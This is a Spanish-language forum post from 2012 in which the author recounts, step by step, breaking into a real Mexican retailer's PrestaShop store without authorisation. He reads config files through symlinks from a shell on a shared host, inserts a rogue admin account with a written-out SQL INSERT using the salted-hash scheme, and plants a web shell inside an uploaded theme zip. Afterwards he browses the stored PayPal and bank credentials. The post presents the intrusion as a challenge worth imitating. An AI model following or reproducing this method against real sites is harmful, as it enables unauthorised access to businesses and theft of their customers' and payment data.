Nota: Cabe mencionar que una aplicacion de escritorio es mucho más eficaz que éste simple script en PHP, pero me sacó de apuros.
#80
Bugs y Exploits / Una noche con PrestaShop [anécdota][shell-upload]
Julio 16, 2012, 12:00:22 AM
Hace poco tiempo me encontraba revisando varios sitios webs mediante enláces simbólicos y entre ellos me encontre un sitio peculiar Méxicano. Se trataba de una empresa jóven la cual se dedica a la venta de telefonía (celulares, iPods y accesorios, etc) mediante la plataforma PrestaShop.

CitarPrestaShop es el software de comercio electrónico de Código-abierto más confiable y flexible. Desde 2007, PrestaShop ha revolucionado la industria al proporcionar funcionalidades que atraen compradores y aumentan las ventas en línea.

Al ver que se trataba de la plataforma antes dicha y sin nunca haberla empleado, dedúje que -por obvias razones- se manejaba por base de datos; en ese momento mi objetivo primario era encontrar el archivo de configuración a la misma.

Al entrar al archivo "adminsys/index.php" noté que hacia referencia a un archivo de configuración de la siguiente forma:

Código: php
include(PS_ADMIN_DIR.'/../config/config.inc.php');


Por lo que procedí a buscar el path en cuestión junto con el respectivo fichero (config.inc.php) y me encontre con que -como era de esperarse- en dicho fichero no se establecía la conexión a la base de datos PERO hacía referencia a otro fichero: settings.inc.php.

Esta vez dicho archivo contenía toda la información de la plataforma (o al menos la importante): desde la conexión a la base de datos hasta la versión de la misma (plataforma):


Como la lógica lo indica, procedí a tratar de conectarme con los datos expuestos mediante una shell que ya tenía arriba en otro hosting bajo el mismo servidor y efectivamente, se logró la conexión a la base de datos. Al indagar por las tablas, encontré la tabla de usuarios bajo el nombre de ps_employee; al checar el hash de la contraseña pude deducir que se trataba de un hash md5 por sus 32 carácteres hexadecimales y por ende, traté de desencriptarlo con servicios en línea de comparación (no confundir con fuerza bruta) sin tener resultado alguno:


CitarServicios de comparación para descifrar hashs en MD5: Son nada más y nada menos que -generalmente- scripts escritos en PHP que hacen comparaciones (válgame la redundancia) entre un hash en md5 ya generado y el hash en md5 ingresado. Es decir, se tienen bases de datos enormes con: hash en md5 y la cadena de texto que le corresponde a ese hash, para que al nosotros ingresar el hash en md5 lo compare con los de las bases de datos y en caso de ser positiva la comparación, muestre la cadena de texto que le corresponde.

Aquí fué donde me entró una incógnita y pensé: ya tengo la conexión a la base de datos, también tengo el hash del administrador pero no lo pude descifrar con servicios en línea, aparte, ¿quién me dice que solo se creo el hash de la contraseña sin meter ningún salt de por medio?, y fué ahí cuando recorde haber visto una "_COOKIE_KEY_". ¿Para qué se definiría una COOKIE KEY en el script?, pues para generar la contraseña y hacer más segura la misma.

Entonces tenía dos opciones: o insertar un nuevo usuario mediante MySQL o modificar el hash del administrador por el mío y así poder acceder al sistema; ambas opciones son válidas aunque siguiendo la opción #1 me evitaría modificar el hash del administrador, crear un usuario y cambiar nuevamente al hash antiguo del administrador. Opté por la opción #1 y ejecute la siguiente línea:

Código: php
INSERT INTO ps_employee
(id_profile, id_lang, lastname, firstname, email, passwd, last_passwd_gen, stats_date_from, stats_date_to, bo_color, bo_theme, bo_uimode, bo_show_screencast, active)
values
(1, 2, "apellido", "nombre", "correo", "hash", "2012-07-14 00:01:45", "2012-07-14", "2012-07-14", "#000000", "flashyturtle", "click", 0, 1);


En donde:

    apellido es el apellido de la cuenta (válgame la redundancia).
    nombre es el nombre de la cuenta (válgame la redundancia).
    correo es el correo de la cuenta (válgame la redundancia).
    hash es el hash en md5 generado mediante la "cookie key" y la contraseña que queramos.
        La cookie key la encontramos definida en el archivo settings.inc.php de la carpeta config.
        Para generar el hash podemos ir a cualquier servicio en línea como md5 hash y escribir en el siguiente formato: cookie_key+pass.
            Ejemplo: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (xt3mp.mx es la pass).

Una vez hecho ésto y comprobado que se ingresó correctamente a la base de datos, procedí a ir al panel de administración: http://[target].com/adminsys/ e ingresamos el correo y la contraseña.

Después de iniciar sesión en el sistema y ver que lo anterior había resultado, me entró otra incógnita: ¿cómo podré subir shell?. Como todo tipo de intento de subir shell a un servidor, comencé primero por encontrar algún uploader normal para tratar de subirla; el primero que busqué fué el de "añadir un nuevo producto".

Al intentar subir shell en dicho uploader me arrojó -como era de esperarse- que sólo permitía extensiones de imagenes (gif, jpg y png). Fué aquí donde mire la pestaña "adjuntos" y dije: ¡aquí lo lograré!; subí la shell y noté que sí guardaba el archivo en la carpeta downloads PERO sin extensión ya que lo renombraba con sha1 de la siguiente manera:


Por lo que al nosotros tratar de descargar el fichero (mediante el archivo attachment.php en la carpeta raíz), obtenía el código fuente del archivo sin extensión y lo descargaba (válgame la redundancia) con el nombre del fichero original almacenado en la columna file_name; y sí entrabamos directamente al fichero por la url con el hash sha1 del archivo no ejecutaba el PHP, sino lo mostraba como tal:


CitarSubir el archivo sin extensión y renombrando el mismo nos facilita a la hora de manejar cargas de ficheros ya que no nos enfocamos tanto en la seguridad de dicho módulo, por lo que aplaudo a PrestaShop ésta manera de lidiar con el problema de subir archivos no-deseados al servidor.

Para éste entonces ya se me habían agotado las ideas, inclusive llegue a pensar que me sería imposible obtener shell en la plataforma pero recordé haber visto un "bonito theme" en la página príncipal y dije: ¡JODER, COMO NO LO PENSE ANTES, SUBIRE UN THEME CON SHELL INCRUSTADA!, así que procedí a buscar algún módulo que me permitiera hacerme del sistema sin tanto lío.

Así que me fuí a la sección Módulos y a la sub-sección Temas encontrando lo que buscaba; al leer dicha sección me apareció ésto caído del cielo, metafóricamente hablando:


Por lo que dí click en Tema instalador e instale el módulo sin problema alguno; después apareció ésto y di click enconfigurar:


Ahora venía otro problema: encontrar algún theme simple que nos permitiera la encomienda de subir shell. Navegando por mi amigo Google encontre éste tema: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta. Lo descargué y simplemente lo abrí con winzip (no es necesario descomprimir el contenido) y arrastré mi shell a la carpeta themes/clean-simple/ quedando así:


Le di siguiente y bingo:


Al yo mirar éste diálogo, supuse que el archivo ya se había subido y como no quería instalarlo completamente, me fuí directamente a la carpeta themes y navegué hasta el theme que acababa de subir (themes/clean-simple/). Me redireccionó al index por obvias razones; el archivo index.php del tema tiene redirección, entonces entré por url directa: http://[target].com/themes/clean-simple/shell.php y obtuve lo siguiente:


Después de toda una travesía logré subir shell a la plataforma de PrestaShop, seguramente te preguntarás:¿Por qué querías shell en la plataforma si ya tenías otra shell en el mismo servidor?, pues las dos respuestas son las siguientes:

  • Como dije al inicio del post, estuve indagando en los archivos mediante symlink, ésto te permite visualizar el código fuente de todos los archivos, sin embargo, no te permite la manipulación de los mismos por lo que necesitaba shell en esa cuenta de hosting para manipular a mi antojo.
  • Y por última, y la respuesta que más peso tiene para mí es: porque para mí todo éste tipo de situaciones son un reto, y me gusta andar de curioso en las distintas plataformas; y más si son plataformas que nunca he utilizado.

Al final, después de un buen rato de lograr mi objetivo, no me conformé con tener acceso total a la cuenta, sino me dediqué a indagar en la base de datos y encontré cosas interesantes; como en la tabla ps_configuration, la cual contiene -por simple lógica- toda la configuración, y entre ésta configuración vienen keys de PayPal, del Banco (cuenta, clabe, etc):


Espero que ésta anécdota les sirva de algo, siempre hay maneras de hacer las cosas, simplemente hay que ser curiosos y dejar volar la imaginación.
Páginas 1 2 3 4 5 6 ... 15